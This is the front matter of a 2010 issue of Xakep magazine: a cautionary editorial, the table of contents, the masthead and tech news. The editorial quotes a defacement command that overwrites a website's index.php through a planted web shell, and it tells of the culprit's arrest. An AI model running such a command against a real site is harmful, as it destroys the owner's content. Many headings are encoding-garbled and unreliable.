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Знакомься: Олег Пиндец, 17 лет, проживает по адресу 
г. Верхние Лохи, ул. Ленина, дом 1. Зайдя 26 августа 
2010 года на интернет-форум forum.anti-forum.ru , Олег 
увидел интересную тему «Зацените залитый шелл».
В теме указывалось, что на web-сайте www.upper-
lohi-online.ru содержится ошибка в стандартной CMS. 
И один умелец уже закачал туда шелл и предлагает 
всем желающим попробовать себя в роли кул-хацкера, 
перейдя по представленной ссылке.
Попробовать себя в роли кул-хацкера Олег Пиндец 
хотел уже очень давно, поэтому слюни потекли по его 
щеке очень обильно, а сердечко ускорило темп под 
действием выделившихся гормонов. Перейдя по ссылке 
и потыкав по ссылочкам установленного r57shell, Олег 
был вне себя от радости и груза свалившегося на него 
счастья. Ведь в тот момент вся судьба web-сайта www.
upper-lohi-online.ru  находилась в его руках!
Чтобы зафиксировать в веках этот счастливый момент, 
Олег Пиндец решил выполнить одну команду, которую 
скопировал все с той же чудесной форумной  ветки:

$ echo “hucked buy megamozd! Gritz to an-
ti-forum.ru kru!” > /www/public_html/in-
dex.php

Порадовавшись неожиданным приключениям и 
похваставшись перед друзьями крутым скриншотом, 
Олег Пиндец благополучно забыл про всю историю 
ровно до 9 утра 12 декабря 2010 года.

Этот день начался для Олега Пиндец необычно: толпа 
грубых розовощеких мужчин мощными ударами ног 
свалила его китайскую железную дверь с  хилых петель 
и провела задержание подозреваемого в совершении 
преступлений по статьям 272 и 273 УК РФ.
В ходе следствия Олег Пиндец полностью признал 
свою вину и раскаялся в содеянном. Учитывая помощь 
следствию, а также положительную характеристику 
с места учебы, Верхнелоховской Городской суд 
приговорил Олег а Пиндец 1993 года рождения к 
штрафу в 50 000 рублей и 3 годам лишения свободы 
условно.
Вот такая вымышленная, но крайне реалистичная по 
теперешним временам история. И мораль тут тоже 
очень простая:

1. В любых  обстоятельствах нужно иметь свою голову 
на плечах, потому что отвечать за свои действия всегда 
приходится самостоятельно.
2. Несмотря на косность, непрофессионализм и 
медлительность силовых органов, они уже давно 
научились определять место жительства не только 
по ip-адресу, но и по нику/посту на форуме, а 
использование таких чудесных средств защиты, как 
socks/vpn, не всегда оказывается эффективным.
3. И главная мораль: если хочется что-то поломать, то 
ставь себе на localhost какой-нибудь DVL и ломай сам 
себя на здоровье. И всегда, в любом случае, соизмеряй 
приобретаемое с масштабом потенциальных траблов.

nikitozz, гл. ред. Х

INTRO



CONTENT
MegaNews
004 Все новое за последний месяц

FERRUM  
018 Ñèëà â ìîáèëüíîñòè
 Тестирование мощных ноутбуков

PC_ZONE  
022 LBS-ñåðâèñû, èëè çà÷åì â òåëåôîíå GPS?
 На что способны сервисы, основанные 
 на местоположении абонента

026 Êàê ïðîêà÷àòü Nmap?
 Реализуем собственные проверки 
 в известном сканере безопасности

030 Ïðîãðàììèñò îíëàéí
 Полезные тулзы для девелопера в вебе

034 Êîëîíêà ðåäàêòîðà
 Алекс Могилевский и Internet Explorer 9

036 Ìåíåäæåð ïàêåòîâ äëÿ Windows
 Быстрая установка и обновления программ

ÂÇËÎÌ  
040 Easy-Hack
 Хакерские секреты простых вещей

044 Îáçîð ýêñïëîèòîâ
 Анализ свеженьких уязвимостей

050 Êàçóàëüíîå âñêðûòèå â ïîëåâûõ óñëîâèÿõ
 Ломаем игры от NevoSoft

054 Ïðîíèêíîâåíèå â î÷àã Opencart
 Взлом движка онлайн-магазина Opencart

060 Ìíîãîðàçðÿäíûå øåëë-êîäû
 Пишем ring0-shellcode под Windows x64

064 Òðåõìåðíûé âçëîì
 BumpTop или бета-версия будущего

066 ßùèê Ïàíäîðû
 Массовый взлом известных зарубежных фан-сайтов

070 X-Tools
 Программы для взлома

 ÑÖÅÍÀ 
072 Çàêîí vs Ñåòü
 Файлообменные холивары рунета

ÞÍÈÊÑÎÉÄ  
078 Âåëèêèé ôàéëîâûé ïóòü
 Обзор новинок в мире файловых систем

082 Îïåðàöèÿ «Îïòèìèçàöèÿ»
 Советы по ускорению Ubuntu

086 Ïèíãâèí â áàðäà÷êå
 Собираем полноценный автомобильный 
 компьютер с Linux на борту

ÊÎÄÈÍÃ  
090 Íàòÿãèâàåì ñåòåâûå poker room’û
 Кодинг покер-бота: логика принятия решений

096 Earn cash now!
 Хак кэша Windows: новый взгляд в интимные глубины ОС

100 Óÿçâèìîñòè online
 Web-Services: создаем онлайн-сканер уязвимостей

106 Ïðîãðàììåðñêèå òèïñû è òðèêñû
 Правила кодинга на C++ для настоящих спецов

SYN/ACK  
114 Ñàíèòàðíàÿ îáðàáîòêà îôèñà
 Выбираем корпоративный антивирус

116 Öåíòð ñåòåâîãî êîíòðîëÿ
 Построение шлюза и сетевого фильтра 
 с помощью Ideco Control Server

120 Ñòàâèì íà ó÷åò æåëåçî è ñîôò
 Как провести инвентаризацию оборудования и
  программного обеспечения, обойдясь малой кровью

125 Îãíåííàÿ äóãà
 Защищаемся от взломщиков с помощью iptables, ipfw и pf

ÞÍÈÒÛ
130 Èíòåðâüþ ñ torrents.ru
 Дополнение к материалу  «Закон vs Сеть »

132 PSYCHO: ×åðíîå èñêóññòâî ðàñòëåíèÿ äóø
 Современная масс-медиа реальность и ее влияние на 
 формирование мировоззрения

138 FAQ UNITED
 Большой FAQ

142 Äèñêî
 8.5  Гб всякой всячины

144 WWW2
 Удобные web-сервисы



/ÐÅÄÀÊÖÈЯ
>Ãëàâíûé ðåäàêòîð
Íèêèòà «nikitozz» Êèñëèöèí
(nikitoz@real.xakep.ru) 
>Âûïóñêàþùèé ðåäàêòîð
Николай«gorl»Андреев
(gorlum@real.xakep.ru)
>Ðåäàêòîðû ðóáðèê
ÂÇËÎÌ
Дмитрий«Forb» Докучаев
(forb@real.xakep.ru) 
PC_ZONE и UNITS
Степан «step» Ильин 
(step@real.xakep.ru)
UNIXOID, SYN/ACK и PSYCHO
Àíäðåé «Andrushock» Ìàòâååâ
(andrushock@real.xakep.ru)
ÊÎÄÈÍÃ
Александр «Dr. Klouniz» Лозовский
(alexander@real.xakep.ru)
>Ëèòåðàòóðíûй ðåäàêòîð
Юлия Адасинская
>Редактор xakep.ru
Леонид Боголюбов (xa@real.xakep.ru)

/ART
>Àðò-äèðåêòîð
Евгений  Новиков 
(novikov.e@gameland.ru)
>Верстальщик
Вера Светлых 
(svetlyh@gameland.ru)

/DVD
>Выпускающий редактор
Степан «Step» Ильин
(step@real.xakep.ru)

>Редактор Unix-раздела 
Антон  «Ant» Жуков
>Монтаж видео
Максим Трубицын 

/PUBLISHING

>Ó÷ðåäèòåëü
ÎÎÎ «Ãåéì Ëýíä», 119021, Москва, ул. 
Тимура Фрунзе, д. 11, стр. 44-45
Тел.: +7 (495) 935-7034
Факс: +7 (495) 780-8824
>Генеральный дèðåêòîð
Äìèòðèé Àãàðóíов
>Óïðàâëÿþùèé äèðåêòîð 
Äàâèä Øîñòàê 
>Äèðåêòîð ïî ðàçâèòèþ 
Ïàøà Ðîìàíîâñêèé
>Äèðåêòîð ïî ïåðñîíàëó 
Татьяна Гудебская
>Ôèíàíñîâûé äèðåêòîð
Анастасия Леонова
>Редакционный директор
Дмитрий Ладыженский
>PR-менеджер
Наталья Литвиновская
>Директор по маркетингу
Дмитрий Плющев
>Главный дизайнер
Энди Тернбулл
>Директор по производству
Сергей Кучерявый

/ÐÅÊËÀÌÀ
/ Тел.: (495) 935-7034, факс: (495) 780-8824
>Директор группы GAMES & DIGITAL
Евгения Горячева (goryacheva@gameland.ru)

>Менеджеры
Ольга Емельянцева
Мария Нестерова
Мария Николаенко
Марина Румянцева
>Менеджер по продаже Gameland TV
Максим Соболев
>Работа с рекламными агентствами
Лидия Стрекнева (strekneva@gameland.ru)
>Старший менеджер
Светлана Пинчук
>Менеджеры
Надежда Гончарова
Наталья Мистюкова
>Директор группы спецпроектов
Арсений Ашомко (ashomko@gameland.ru)
>Старший трафик-менеджер
Марья Алексеева

/ОТДЕЛ РЕАЛИЗАЦИИ 
СПЕЦПРОЕКТОВ
>Директор
Александр Коренфельд 
(korenfeld@gameland.ru)
>Менеджеры
Александр Гурьяшкин
Светлана Мюллер

/ÎÏÒÎÂÀЯ ÏÐÎÄÀÆÀ
>Äèðåêòîð îòäåëà 
äèñòðèáóöèè 
Àíäðåé Ñòåïàíîâ (andrey@gameland.ru)
>Руководитель московского
направления
Ольга Девальд (devald@gameland.ru)
>Руководитель регионального
направления
Òàòüÿíà Êîøåëåâà (kosheleva@gameland.ru )

>Руководитель отдела подписки
Марина Гончарова 
(goncharova@gameland.ru)
òåë.:  (495) 935.70.34
ôàêñ: (495) 780.88.24
> Ãîðячая ëèíèя  ïî ïîäïèñêå
òåë.: 8 (800) 200.3.999
Áåñïëàòíî äëÿ çâîíÿùèõ  èç Ðîññèè
> Äëя писем
101000, Ìîñêâà, 
Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð
Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå 
Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè, 
òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ 
êîììóíèêàöèé ÏÈ ß 77-11802  îò 14 
ôåâðàëÿ 2002 ã.
Îòïå÷àòàíî â òèïîãðàôèè 
«Lietuvas Rivas», Литва.
Òèðàæ 100 000 ýêçåìïëÿðîâ.
Öåíà äîãîâîðíàÿ.
Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî ñîâïàäàåò 
ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ óâåäîìëÿåò: 
âñå ìàòåðèàëû â íîìåðå ïðåäîñòàâëÿþòñÿ 
êàê èíôîðìàöèÿ ê ðàçìûøëåíèþ. Ëèöà, 
èñïîëüçóþùèå äàííóþ èíôîðìàöèþ 
â ïðîòèâîçàêîííûõ öåëÿõ, ìîãóò áûòü 
ïðèâëå÷åíû ê îòâåòñòâåííîñòè. Ðåäàêöèÿ â 
ýòèõ ñëó÷àÿõ îòâåòñòâåííîñòè íå íåñåò.
Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà 
ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â 
íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ 
áåç ñïðîñà — ïðåñëåäóåì.
По вопросам лицензирования и получения 
прав на использование редакционных мате-
риалов журнала обращайтесь по адресу:
content@gameland.ru
© ÎÎÎ «Ãåéì Ëýíä», РФ, 2010

090

026

054

Íàòÿãèâàåì ñåòåâûå poker room’û
Кодинг покер-бота: логика принятия решений

Êàê ïðîêà÷àòü Nmap?
Реализуем собственные 
проверки 
в известном сканере 
безопасности

Ïðîíèêíîâåíèå â î÷àã Opencart
Взлом движка онлайн-магазина Opencart

116
Öåíòð ñåòåâîãî êîíòðîëÿ
Построение шлюза и сетевого фильтра 
с помощью Ideco Control Server



XÀÊÅÐ  06  /137/  10 004  

МАРИЯ «MIFRILL» НЕФЕДОВА  MARIA.NEFEDOVA@GLC.RU 

ÎÁÎ ÂÑÅÌ ÇÀ ÏÎÑËÅÄÍÈÉ ÌÅÑßÖ

MEGANEWS
MEGANEWS

ÐÅÁÓÒ ÍÎÍ-ÑÒÎÏÎÌ

Апдейт McAfee DAT 5958, выпущенный, как нетрудно дога-
даться, к ошеломительно популярному на западе антивирусу 
McAfee, привел к очень неприятному сбою в работе ком-
пьютеров под управлением Windows XP SP3. Обновление 
считает, что процесс svchost.exe (Services) — это вирус W32/
Wecorl.a, и уводит ПК в бесконечный, беспросветный ребут. 
Стоит ли говорить, что «благодаря» McAfee и их антивирю в 
вечную перезагрузку ушли машины множества коммерческих 
организаций, а также больниц, колледжей, институтов и так 
далее. Вот это epic fail! И хотя McAfee уже экстренно выпустили 
следующий апдейт (vil.nai.com/vil/5958_false.htm), который 
исправляет досадный баг, большинству пользователей лечить 
антивирус все равно придется вручную, из безопасного ре-
жима, по уже опубликованным в Сети инструкциям. С такими 
антивирусами никаких вирусов не надо.

Ты наверняка уже слышал о стартапе Chatroulette! ( chatroulette.com), который создал 
простой российский одинадцатиклассник Андрей Терновский. Простейшая идея — 
сайт, рандомно и анонимно связывающий двух пользователей с помощью видео и 
текстового чата — вызвала настоящий бум в сети (особенно среди дрочеров :). Сайт 
был запущен в конце 2009 года, и уже в феврале 2010 на ресурс и его создателя обру-
шилась слава — о чате-рулетке рассказали «New York Times», «Forbes» и «New York 
Magazine»; детище нашего школьника засветилось даже в South Park. Юное дарова-
ние, создавшее гениально простой стартап, на радостях отправилось в бизнес-турне 
по Америке, где и находится по сей день. Из-за океана и пришла информация о том, 
что Андрей задумался над внедрением в Сhatroulette функции «анонимной дружбы». 
Дело в том, что сейчас понравившиеся друг другу юзеры вынуждены обмениваться 
никнеймами, адресами почты, Skype, ICQ и так далее, куда они впоследствии и уходят 
общаться, оставляя «Рулетку» за бортом. Чтобы остановить этот отток пользователей 
и дать им возможность продолжать именно анонимное общение, Андрей и обещает 
новую фишку. Стоит заметить, что многочисленные клоны, уже появившиеся в Сети, и 
без этого не могут даже близко сравниться с Chatroulette по посещаемости. 

ÀÍÎÍÈÌÍÀß ÄÐÓÆÁÀ  

Говорят, что первым авиарейсом после старта продаж iPad из Сан-Франциско в Москву 
прилетело… аж 1200 девайсов.  Можно верить, а можно нет, но модный гаджет попал в 
руки редакции уже на следующей день после официального запуска: спасибо магазину 
aMac.ru! Когда первая волна эйфории прошла, а девайс (при всей нашей сдержанности 
к слюням по поводу продукции Apple) действительно впечатляет, мы смогли изучить 
гаджет чуть подробнее. Оказалось, правда, что загружать приложения из AppStore 
нельзя — такое ограничение введено для пользователей из России. К счастью, Apple 
в данном случае не сильно заморачивалась по поводу проверок на этот счет, поэтому 
можно очень легко завести профайл в AppStore, прикинувшись истинным американ-
цем и указав адрес в Штатах. После этого вновь появляется возможность загружать 
приложения как с самого iPad’а, так и через iTunes. Важно, что в интернете продается 
огромное количество GiftCard, которые можно приобрести с помощью пластиковой кар-
ты, и таким образом пополнить счет для покупки уже платных приложений (остерегайся 
фейков). Увы, публичного jailbrake’а еще нет, хотя George Hotz (он же George Hotz) уже 
показал скрины взломанного iPad’а. А другие умельцы уже сумели установить Windows 
95 с помощью эмулятора Bosch.

ÑÓÌÌÀÐÍÎÅ ×ÈÑËÎ 
ÈÑÏÐÀÂËÅÍÈÉ Â WIKIPEDIA 
ÏÅÐÅÂÀËÈËÎ ÇÀ ÎÒÌÅÒÊÓ Â 1 
ÌËÐÄ.   

IPAD Â ÍÀØÈÕ ÐÓÊÀÕ 
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Невероятная история приключилась с прототи-
пом iPhone 4G от компании... Apple. 
Когда на сайте Gizmodo появилась статья о 
том, что кто-то из сотрудников Apple умудрил-
ся потерять прототип новой трубки, которую 
официально должны были представить только 
летом, в это верилось с трудом. Однако Gizmodo 
явили публике полноценный обзор девайса 
с фотографиями, а также поведали о том, как 
выкупили этот странный аппарат у парня, 
нашедшего его в баре Gourmet Haus Staudt, за 
$5000! В Сети тут же вспыхнули жаркие споры 
о том, может ли это быть правдой (1-е апреля 
все-таки уже прошло). Тем временем выясни-

лось, что в упомянутом питейном 
заведении в подходящее время 
действительно зависал сотрудник 
Apple — Грей Пауэлл. У чувака, 
между прочим, был день рожде-
ния. Бедолага работает (или уже 
«работал») в подразделении, ко-
торое разрабатывает «звонилку» 
для iPhone. Из бара Пауэлл даже 
написал пару твитов, а потом, ухо-
дя, просто забыл девайс на стуле. 
Нашедший трубку парень вообще 
сначала решил, что это iPhone 
3GS, проигрался с ним, попро-
бовал пофотографировать, но 

камера три раза крашилась. Собираясь честно 
вернуть аппарат владельцу, он унес его домой. 
То, что iPhone какой-то странный, он заметил 
на следующий день, когда аппарат сначала 
дистанционно вырубили (у Apple есть такие 
сервисы специально на случай кражи или 
утери iPhone), а потом у него вообще обнаружи-
лась фронтальная камера... Чувак оказался на 
редкость сознательным — он звонил в Apple по 
куче номеров, пытаясь объяснить им cитуацию, 
но в яблочной компании его слушать не стали, 
и позже никто так и не перезвонил. В итоге, 
трубка оказалась у ребят с Gizmodo за упомя-
нутую круглую сумму. В Gizmodo церемониться 

с гаджетом не стали — его препарировали, 
изучили и засняли со всех сторон. Изменения 
таковы: появилась фронтальная камера, а 
обычная камера явно была улучшена и теперь 
снабжена вспышкой. Вместо SIM-карты 
используется Micro-SIM. Разрешение экрана 
установить не удалось, но на глаз оно выше, 
чем у трубок прошлого поколения — пред-
положительно 960 на 640 пикселей. Элект-
ронная начинка девайса оказалась сильно 
уменьшена, но iPhone при этом потяжелел 
на 3 грамма, и батарея оказалась больше 
обычной на 16%. Задняя крышка выполнена 
из стекла или керамики и, стало быть, должна 
хорошо пропускать сигнал. Дизайн стал более 
угловатым, что и послужило основным поводом 
для криков: «Это фэйк! Apple не могли такое 
создать». Но iTunes определил загадочный 
аппарат как iPhone. Народ в Сети еще долго 
мог бы спорить на тему «iPhone или фэйк», но 
конец дебатам положило письмо из Apple. К 
Gizmodo обратился Брюс Сьюэлл, старший 
вице-президент и генеральный юрисконсульт 
корпорации Apple. Он попросил вернуть ком-
пании Apple принадлежащее ей устройство. 
Зато теперь общественность может спорить до 
хрипоты, обсуждая, был это спланированный 
PR-вброс или же это действительно невероят-
ная случайность. 

ÄÅÒÅÊÒÈÂÍÀß ÈÑÒÎÐÈß — IPHONE ÍÎÂÎÃÎ ÏÎÊÎËÅÍÈß

ÑÏÅÖÛ ÈÇ ÓÍÈÂÅÐÑÈÒÅÒÀ ÊÀÐÍÅÃÈ-ÌÅËËÎÍÀ ÂÛßÑÍÈËÈ: ÐÈÒÌÈ×ÍÀß ÀÍÈÌÀÖÈß 
ÏÐÎÃÐÅÑÑ-ÁÀÐÀ ÑÓÁÚÅÊÒÈÂÍÎ «ÓÑÊÎÐßÅÒ» ÇÀÃÐÓÇÊÓ ÍÀ 10%. 

Не так давно WebMoney и Яндекс.Деньги 
прекратили сотрудничество и обмен 
между своими системами из-за большого 
числа мошеннических переводов, чем 
доставили немало геморроя своим поль-
зователям. Но на прошедшей недавно 

в Подмосковье конференции РИФ+КИБ 
Петр Дарахвелидзе, директор по развитию 
WebMoney, заявил, что обмен между сис-
темами «в ближайшее время» будет вос-
становлен. По его словам, компаниям все 
же удалось найти консенсус в отношении 

интерфейса, который теперь будет рабо-
тать непосредственно между их платеж-
ными системами. Одним из обязательных 
условий для конвертации средств, судя по 
всему, станет полное совпадение имени 
пользователя в обеих системах.   
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ÄÆÅÉÌÑ ÃÎÑËÈÍÃ ÏÎÊÈÍÓË ORACLE
Совсем недавно мы писали о том, что компа-
нию Sun Microsystems покинул известней-
ший канадский ПО-разработчик Тим Брэй, 
занимавший там до последнего времени пост 
директора по веб-технологиям. Произошло это 
из-за сделки на $7,4 миллиарда, в результа-
те которой Sun была поглощена компанией 
Oracle. Но Брэй не стал последним разработ-
чиком, оставившим новое-старое место рабо-
ты. Теперь и Джеймс Гослинг — тоже канадец 
и тоже разработчик ПО с мировым именем, но, 

что важнее всего, автор языка Java (могучий 
человечище!), сообщил в своем блоге, что он 
уволился из Oracle, и произошло это еще 2-го 
апреля. Гослинг искренне извинился перед 
всеми, кто ждал его в Питере, на конференции 
Sun TechDays, на которой он не смог присутст-
вовать, не являясь более сотрудником Sun. 
Джеймс также пишет, что пока не знает, каковы 
будут его дальнейшие планы, но с поисками 
новой работы он пока решил повременить и 
взял небольшой перерыв.  

WEBMONEY È ßÍÄÅÊÑ.ÄÅÍÜÃÈ ÑÍÎÂÀ ÄÐÓÇÜß
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BLU-RAY DISC ASSOCIATION ÑÎÎÁÙÈËÀ, ×ÒÎ ÑÊÎÐÎ ÅÌÊÎÑÒÜ «ÎÄÍÎÐÀÇÎÂÛÕ» 
BLU-RAY ÄÈÑÊÎÂ ÓÂÅËÈ×ÈÒÑß ÄÎ 100 È 128 ÃÁ, À ÏÅÐÅÇÀÏÈÑÛÂÀÅÌÛÕ — 
ÄÎ 100 ÃÁ.

Компания Facebook держит свое слово — еще в прошлом году 
стало известно, что в 2010-м крупнейшая в мире социальная сеть 
планирует активно расширяться в странах восточной Европы, и эта 
информация начинает подтверждаться, а планы — претворяться в 
жизнь. Facebook вместе со своими 400 миллионами юзеров и сотня-
ми компаний-партнеров по всему миру готовится открыть в России 

свое представительство. Компания уже начала вести переговоры 
с нашими мобильными операторами, в частности обсуждались 
вопросы оплаты услуг Facebook’а посредством SMS. Время пока-
жет, что из всего этого выйдет, а пока мы напомним, что компания 
MySpace тоже пыталась открыть в России свой офис, но их начина-
ние потерпело фиаско. Ну и, конечно, очень интересна реакция на 
все это нашего дорогого «ВКонтакте» с его 68 миллионами учет-
ных записей, который пока удерживает пальму первенства среди 
социальных сетей России и стран СНГ. Как известно, «ВКонтакте» 
является фактическим клоном Facebook’а многолетней давности, 
по крайне мере, если говорить о дизайне.  В технологическом плане 
Facebook ушел далеко вперед. Так, на недавней конференции f8 
была представлена технология OpenGraph, позволяющая социали-
зировать любые сайты, подстраиваясь под пользователя на основе 
его профиля и списка друзей в Facebook. Причем это работает, 
даже если тот на сайте в первый раз. Технология пришла на смену 
Facebook Connect (использовался до последнего времени сотней 
миллионов пользователей Сети). Новая система интеграции сайтов 
с Facebook позволит интернет-ресурсам получать доступ ко всем 
общедоступным данным и связям пользователя в режиме реального 
времени и, в отличие от Facebook Connect, сохранять эту информа-
цию (ранее срок ее хранения на сторонних ресурсах был ограничен 
24 часами). Ох, теперь информацию в профиле придется прописы-
вать с особой осторожностью!

На днях Метт Рэймонд, директор по коммуникациям 
Библиотеки Конгресса, поведал миру о том, что скоро 
в Вашингтоне получит постоянную прописку архив 
сервиса Twitter. Это совсем не шутка, все серьезно — 
все твиты человечества, начиная с марта 2006 года, 
лежащие в общем доступе и не защищенные настрой-
ками приватности отныне будут храниться в цифровом 
виде в крупнейшей библиотеке мира. Учитывая, что 
количество твитов исчисляется миллиардами и с каж-
дым днем только увеличивается, объем информации 
просто аховый. Но крупнейшей на Земле библиотеке не 
привыкать – здесь уже и без того хранится 20 терабай-

тов информации (размер plain-текста!), а руководство 
заведения искренне уверено, что не книгами едиными 
жив человек. В Библиотеке Конгресса считают, что 
множество записей в Twitter представляют историчес-
кий интерес, и в этом с ними трудно не согласиться, учи-
тывая, что аккаунты в Twitter есть у политиков и даже у 
президентов, у звезд шоу-бизнеса и у самых различных 
деятелей культуры и искусства. Содержащиеся в архиве 
твиты будут доступны спустя полгода после публикации, 
и использовать их можно будет для некоммерческих 
исследований, публичного показа в самой библиотеке 
или же для сохранения.       

ÎÔÈÖÈÀËÜÍÛÉ ÀÐÕÈÂ ÒÂÈÒÎÂ ×ÅËÎÂÅ×ÅÑÒÂÀ

FACEBOOK Ê ÍÀÌ ÏÐÈÕÎÄÈÒ

После зимнего взлома ряда крупных западных 
компаний, в число которых входила и Google, 
прошло уже немало времени, а новые подроб-
ности до сих пор продолжают всплывать. На-
помним, что в декабре Google якобы подвергся 
атаке со стороны неизвестных хакеров. Впрочем, 
представители поискового гиганта почти сразу 
заявили, что, по их данным, взлом был заказ-
ной, и следы его ведут в Китай. Это и послужило 
причиной последующего громкого конфликта 

с властями Поднебесной. Теперь же издание 
The New York Times сообщает, что, согласно 
полученной ими информации, во время той атаки 
хакерам удалось увести у Google специальную 
прогу под названием Gaia, которая контролиро-
вала доступ к большинству сервисов компании. 
В Google эту информацию комментировать 
отказались, только в очередной раз подчеркну-
ли, что никаких личных данных пользователей 
хакерам заполучить не удалось. Эта информация 

несколько настораживает, особенно в свете того, 
что последние несколько недель со всего мира 
поступают сообщения от обеспокоенных поль-
зователей GMail, заметивших, что с их ящиков 
рассылается спам, а в логах фигурируют левые 
IP-адреса. Странной эпидемии подверглись все: 
линуксоиды, виндузятники, маководы; сходная 
картина наблюдается и по браузерам — полный 
букет, на любой вкус. Эти события Google пока 
тоже никак не комментирует.  

ÓÒÅ×ÊÀ Â GOOGLE?
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Радость в стан геймеров и поклонников хорошего звука принесла компания Creative, 
объявив о выпуске новых гарнитур Sound Blaster World of Warcraft Headset и Sound 
Blaster World of Warcraft Wireless Headset (проводная и беспроводная версии соот-
ветственно). Из названия уже понятно, что новинки в первую очередь придутся по 
душе поклонникам одной из самых успешных MMORPG на нашей планете — World of 
Warcraft. Дизайн гарнитур всецело соответствует игровой вселенной WoW, а также 
предоставляет игроку возможность обозначить свою принадлежность к Альянсу или 
Орде с помощью сменных накладок и выбрать один из 16 миллионов программиру-
емых цветов подсветки. Из технологических особенностей девайса отметим сле-
дующие: повышенное (благодаря технологии THX TruStudio PC) качество звучания, 
отсоединяемый микрофон профессионального уровня с функцией шумоподавления 
Silencer, технология VoiceFX, позволяющая изменять голос, изображая разных персо-
нажей и существ World of Warcraft. Для беспроводной версии немаловажен и аккуму-
лятор, который может заряжаться даже во время использования девайса. В продаже 
гарнитуры появятся уже в мае по ориентировочной цене 6899 руб. за проводную и 
9299 руб. за беспроводную версии.

ÃÎËËÀÍÄÖÛ ÈÇ ÊÎÌÏÀÍÈÈ TIOBE ÑÎÑÒÀÂÈËÈ ÒÎÏ ßÇÛÊÎÂ 
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß. ÍÀ 1-ÎÌ ÌÅÑÒÅ ÎÊÀÇÀËÑß C, JAVA ÇÀÍßË 2-Å ÌÅÑÒÎ, À 
C++ ÑÎÕÐÀÍÈË ÑÂÎÞ ÏÎÇÈÖÈÞ ÍÀ 3-ÅÉ ÑÒÐÎÊÅ ÐÅÉÒÈÍÃÀ. 

Давно известно, что «свято место пусто не бывает», так что, пожалуй, троян, 
который спекулирует нелегальностью использования торрентов, даже как-
то подзадержался. Дабы развести доверчивых пользователей на деньги, 
трой действует по следующей схеме: порывшись на компьютере и найдя 
.torrent-файлы, прога выплевывает окно с предупреждением о нарушении 
копирайта, блокируя систему. Западные пользователи, которые и так скоро 
будут покрываться холодным потом от одного только упоминания о торрен-
тах, уже чувствуют себя некомфортно, а троянец, не оставляя им выбора, 
посылает их на выглядящий весьма официально сайт www.icpp-online.com. 
Ресурс, понятное дело, поддельный, хотя организация ICPP и существует 
на самом деле. К тому же сайт пестрит страшными аббревиатурами RIAA, 
MPAA и The Copyright Alliance, которые тоже очень известны в деле войны 
с контрафактом. К этому моменту рядовой пользователь, должно быть, уже 
пребывает в ужасе, и тут-то ему предлагают заплатить «штраф», попутно 
напоминая, что мера наказания за такие правонарушения в худшем случае 
может составлять до 5 лет лишения свободы или $250000. Сумма «штрафа», 
тем временем, равняется примерно $400. Если юзер все еще не убежден 
и отказывается платить, хитрая прога ругается окошком предупреждения, 
где угрожает сообщить о нелегальных деяния пользователя в соответст-
вующие органы. Как именно троян попадает на машину, и чьему же перу 
принадлежит эта креативная поделка — неизвестно.

ÒÐÎßÍÅÖ-ÀÍÒÈÏÈÐÀÒ

FOR THE HORD!

Некоторое время назад корпорация AOL окончательно определилась 
со списком претендентов на покупку ICQ; ими стали фонд Digital Sky 
Technologies (владельцы Mail.ru), холдинг 
«ПрофМедиа» (владельцы медиа-холдин-
га Rambler Media) и китайская компания 
Tencent (владелец крупнейшего в мире 
мессенджера QQ, чья основная аудитория 
сосредоточена в Китае). Напомним, что 
решение продать популярный мессенджер 
вызрело в AOL еще в конце прошло года, и 
с того самого времени для «Аськи» подыс-
кивали покупателя. Самой America Online 

в 1998 году ICQ обошлась более чем в 400 миллионов долларов. 28 
апреля фонд DST Юрия Мильнера, Григория Фингера и Алишера 
Усманова все-таки договорилась с американской AOL о выкупе у нее 
сервиса мгновенных сообщений ICQ за $187,5 млн. 18 миллионов 
русскоязычных пользователей — получается $10 за лицо :)

ICQ ÏÐÎÄÀËÈ!
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ÏÎÏÎËÍÅÍÈÅ Â ÑÒÐÎÞ 
ÌÎÍÎÁËÎ×ÍÛÕ ÏÊ
В конце апреля компания НР объявила о пополнении семейства 
настольных компьютеров и показала миру новинки HP All-in-One 200. 
Свежие моноблоки существенно помогут людям, которых волнует 
вопрос экономии места без потери мощности — они объединяют до 13 
кабелей в одном, при этом обеспечивая столь же высокую произво-
дительность как и ПК в традиционных tower-кузовах. All-in-One 200 
комплектуются HD-дисплеем диагональю 21.5“ со светодиодной под-
светкой. Экран можно наклонять под углом до 30 градусов и свободно 
поворачивать в любую сторону; при желании моноблок также можно 
закрепить на стене. Как уже было сказано выше, вместо обычного 
клубка проводов к All-in-One 200 тянется лишь кабель питания, но эти 
скромные габариты таят в себе процессор Intel Pentium E5400 c такто-
вой частотой 2.7 ГГц, 4 Гб оперативной памяти DDR3, интегрированную 
графику Intel GMA X4500HD и жесткий диск объемом 500 Гб. Система 
также оснащена встроенными веб-камерой и микрофоном, беспровод-
ным адаптером 802.11 b/g/n и интегрированными стерео-динамиками. 
В комплект входят беспроводные мышь и клавиатура. Цена девайса 
составит примерно 699 евро, и начинать искать его в продаже можно с 
июня текущего года.   

MEGANEWS

Неожиданное известие пришло от голливудского гиганта Paramount 
Digital Entertainment и компании Seagate — они объявили о начале 
сотрудничества, благодаря которому жесткие диски серии FreeAgent Go 
будут продаваться с уже записанными на борту фильмами. Разумеется, 
все совершенно легально, однако не за «спасибо». Paramount Pictures 
поделилась с «железным» производителем 21-ой кинолентой, но бес-
платным будет только один фильм — Star Trek (2009). Чтобы посмотреть 
остальные 20, придется раскошелиться на 10-15 баксов, зарегистриро-
ваться на сайте Seagate и приобрести там специальный код доступа. Все-
го под кино на 500-гигабайтном винте выделено 50 Гб, и все загруженные 
туда фильмы могут похвастаться DVD-качеством и DRM-защитой. Дэйв 
Мосли, вице-президент Seagate, уверяет, что такой маркетинговый ход 
является уникальным и инновационным решением, открывающим перед 
потребителями легкий путь к получению различного мультимедийного 
контента. Цена модели емкостью 500 Гб составит $140.  

ÊÓÏÈË ÕÀÐÄ, ÊÈÍÎ Â ÏÎÄÀÐÎÊ

